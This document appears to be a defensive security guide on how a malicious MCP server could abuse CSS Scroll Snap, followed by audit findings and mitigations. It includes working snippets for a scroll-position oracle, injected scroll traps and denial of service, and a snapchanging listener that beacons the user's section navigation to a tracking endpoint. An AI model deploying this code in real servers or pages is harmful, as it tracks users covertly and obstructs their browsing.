Security Guide

MCP server CSS scroll snap security — scroll-snap-align position oracle without scrollTop, scroll-snap-type: mandatory scroll DoS, scroll-snap-stop: always scroll trap, snapchanging event section detection

CSS Scroll Snap (Chrome 75+, Firefox 68+, Safari 11+) forces a scroll container to settle at pre-declared snap point positions after each scroll gesture. When an MCP server can inject CSS into a page, snap behavior becomes an attack surface: the browser's snap settling mechanism is a scroll position oracle that doesn't require scrollTop access; scroll-snap-type: mandatory limits free scrolling and can trap users between snap points; scroll-snap-stop: always on injected elements prevents skipping over them; and the snapchanging event (Chrome 123+) fires during user-driven scroll snap changes, revealing which page section the user is navigating to without reading scrollTop.

How CSS Scroll Snap works

Scroll snap is declared in two places: the scroll container (the scrolling parent) declares scroll-snap-type specifying the axis and strictness; and each snap child declares scroll-snap-align specifying how it aligns to the snap port. When the user finishes scrolling, the browser adjusts the scroll position to the nearest snap point. mandatory snap type means every scroll must settle at a snap point; proximity means snapping only occurs when close to a snap point.

Attack 1: scroll-snap-align probe extracts snap point positions without scrollTop

A scroll container's snap point positions can be discovered via a probe technique: inject a probe element with scroll-snap-align: start into the snap container and observe where the container settles after a programmatic scrollTo(). The settled position is the snap point nearest to the requested scroll target. By binary-searching the target position, the attacker maps all snap points without reading scrollTop directly — instead reading the container's settled position via getBoundingClientRect() on a known child element, which encodes the current scroll position as a geometric offset.

// Snap position oracle: discover all snap points without scrollTop access
async function probeSnapPoints(container) {
  const snapPoints = [];
  const containerRect = container.getBoundingClientRect();
  const containerHeight = container.scrollHeight;

  // The browser settles to the nearest snap point after scrollTo()
  // Read settled position via a child element's bounding rect (not scrollTop)
  const anchor = container.querySelector('[data-snap-anchor]') || container.firstElementChild;

  for (let target = 0; target < containerHeight; target += 100) {
    container.scrollTo({ top: target, behavior: 'instant' });
    await new Promise(r => requestAnimationFrame(r)); // wait for snap to settle

    const rect = anchor.getBoundingClientRect();
    const settledScrollTop = containerRect.top - rect.top; // geometric read, not scrollTop
    if (!snapPoints.includes(settledScrollTop)) {
      snapPoints.push(settledScrollTop);
    }
  }
  // snapPoints now contains all snap positions in the container
  // without a single read of container.scrollTop
  return snapPoints;
}

Information leaked: Snap point positions encode the layout of the host application's content sections. The number of snap points reveals how many sections exist; their pixel positions encode section heights; irregular spacing reveals dynamic content (variable-height user posts vs. fixed-height cards).

Attack 2: scroll-snap-type: mandatory injected on a host scroll container (scroll DoS)

If the host scroll container does not already have scroll-snap-type set, an MCP server can inject it with mandatory strictness. mandatory means the container must settle at a snap point after every scroll — free-form scrolling between snap points is prohibited. If the MCP server also injects snap children at specific intervals, it controls exactly where the user can pause. Injecting snap points only at the top and bottom of the container forces every scroll gesture to either scroll all the way up or all the way down — bypassing any intermediate content.

// Inject mandatory snap on a host scroll container + control snap positions
const snapStyle = document.createElement('style');
snapStyle.textContent = `
  /* Target the host's main scroll container */
  .main-scroll-container {
    scroll-snap-type: y mandatory; /* user MUST land on snap points */
  }

  /* Inject two snap points: top and bottom only */
  .main-scroll-container::before {
    content: '';
    display: block;
    height: 0;
    scroll-snap-align: start; /* snap at the very top */
  }
  .main-scroll-container::after {
    content: '';
    display: block;
    height: 0;
    scroll-snap-align: end; /* snap at the very bottom */
    /* Result: user can only be at top or bottom — no intermediate positions */
    /* All intermediate content is scrolled past in one gesture */
  }
`;
document.head.appendChild(snapStyle);

Attack 3: scroll-snap-stop: always on injected hidden elements creates scroll traps

scroll-snap-stop: always on a snap child means the user cannot scroll past that snap point with a single high-velocity swipe — the browser forces a stop at that position even if the user's momentum would carry them past. An MCP server can inject multiple hidden elements with scroll-snap-stop: always; scroll-snap-align: start at closely spaced intervals, creating invisible snap points that trap the user. A user trying to scroll from the top to the bottom of a page with many always-stop snap points must make N distinct scroll gestures, one for each injected trap.

// Inject invisible always-stop snap traps throughout the scroll container
const trapStyle = document.createElement('style');
trapStyle.textContent = `
  /* Always-stop snap traps injected every 50px */
  .snap-trap {
    height: 0; width: 0;
    position: relative;
    scroll-snap-align: start;
    scroll-snap-stop: always; /* browser MUST stop here, even with high velocity */
    visibility: hidden;
    pointer-events: none;
    overflow: hidden;
  }
`;
document.head.appendChild(trapStyle);

// Inject 20 traps at equal intervals in the main scroll container
const container = document.querySelector('.main-scroll-container');
const containerHeight = container.scrollHeight;
const trapCount = 20;

for (let i = 1; i < trapCount; i++) {
  const trap = document.createElement('div');
  trap.className = 'snap-trap';
  trap.style.top = `${(containerHeight * i) / trapCount}px`;
  container.appendChild(trap);
}
// Result: user must make 20 separate scroll gestures to reach page bottom
// They cannot "fling" past the traps — always-stop enforces mandatory pauses.

Scroll harassment: An MCP server that creates a scroll trap forces the user to interact with the page multiple times before reaching their destination. Each forced pause is an opportunity to display injected content, collect timing data, or trigger additional JavaScript execution. The user cannot easily distinguish this behavior from a legitimate scroll snap implementation.

Attack 4: snapchanging event (Chrome 123+) reveals which section the user is viewing

The snapchanging event fires on a scroll snap container when the snap target is changing — i.e., while the user is actively scrolling and before the snap has settled. The event's snapTargetBlock and snapTargetInline properties identify the snap child that will become the snap target after the scroll settles. An MCP server can listen to snapchanging on a host scroll container to monitor which section of the page the user is navigating to in real time — without reading scrollTop, without IntersectionObserver, and without any reference to the actual content elements.

// snapchanging event reveals section navigation without scrollTop
const container = document.querySelector('.page-sections');

container.addEventListener('snapchanging', (event) => {
  const nextTarget = event.snapTargetBlock; // the element that will be snapped to
  if (nextTarget) {
    // Identify the section by its data attribute, class, or position
    const sectionId = nextTarget.dataset.section || nextTarget.id || nextTarget.className;
    const sectionIndex = [...container.children].indexOf(nextTarget);

    // Report: user is navigating to section N
    // This fires DURING the scroll, not after — real-time tracking
    navigator.sendBeacon('/track', JSON.stringify({
      event: 'section_change',
      to: sectionId,
      index: sectionIndex,
      ts: event.timeStamp
    }));
  }
});

// Also available: snapchanged event fires after settling
container.addEventListener('snapchanged', (event) => {
  // Now the user HAS reached the section — confirms they stopped here
  // Combined with snapchanging: tracks scroll-through vs. dwell
});
AttackCSS mechanismWhat it reads / enablesBrowser support
Snap position oraclescroll-snap-align: start + probe scrollAll snap point pixel positions without scrollTopChrome 75+, FF 68+, Safari 11+
Mandatory scroll DoSscroll-snap-type: y mandatory injectionForces user to top/bottom only — skips intermediate contentChrome 75+, FF 68+, Safari 11+
Always-stop scroll trapscroll-snap-stop: always on hidden elementsForces N discrete scroll gestures to traverse the pageChrome 75+, FF 103+, Safari 15+
Section navigation trackingsnapchanging event listenerReal-time section navigation without scrollTopChrome 123+

SkillAudit findings for CSS scroll snap

MEDIUMSnap position oracle: injecting a scroll-snap-align: start probe element and observing scroll settling via getBoundingClientRect() maps all host snap point pixel positions — encoding layout and section count without scrollTop access.
HIGHMandatory scroll DoS: injecting scroll-snap-type: y mandatory on a host scroll container that doesn't already use snap forces all scrolls to land on attacker-controlled snap points, preventing access to intermediate content.
HIGHAlways-stop scroll trap: injecting multiple hidden scroll-snap-stop: always elements at closely spaced intervals creates invisible mandatory pause points that force the user to make N separate scroll gestures to traverse the page.
MEDIUMsnapchanging section tracking: listening to snapchanging events on a scroll snap container reveals which section the user is navigating to in real-time — a behavioral tracking signal without scrollTop, IntersectionObserver, or element reference.

Defences

CSP style-src 'self' blocks CSS snap injection: All four injection-based attacks (oracle, mandatory DoS, always-stop trap) require the MCP server to inject a <style> element or modify element styles. Blocking inline styles via CSP eliminates these attack vectors.

Set scroll-snap-type: none defensively if your app doesn't use snap: An explicit scroll-snap-type: none on your scroll container with sufficient specificity prevents an MCP server from enabling mandatory snap via a lower-specificity rule. Note that inline styles set by JavaScript (el.style.scrollSnapType) bypass CSS specificity.

Restrict MCP server event listener scope: The snapchanging attack requires adding an event listener to the host's scroll container. Sandboxed iframes or Web Components with shadow DOM contain event dispatch to their subtree, preventing MCP server event listeners on the host container from observing snap events inside the sandbox.

Audit MCP server code for scroll snap API usage: SkillAudit flags MCP servers that inject scroll-snap-type, scroll-snap-align, scroll-snap-stop, or that register snapchanging/snapchanged event listeners. These patterns have legitimate uses in MCP tools that render their own UI, but are suspicious when applied to the host document's existing scroll containers.

Related: CSS overscroll-behavior security · CSS scroll-driven animations security · CSS anchor positioning scroll security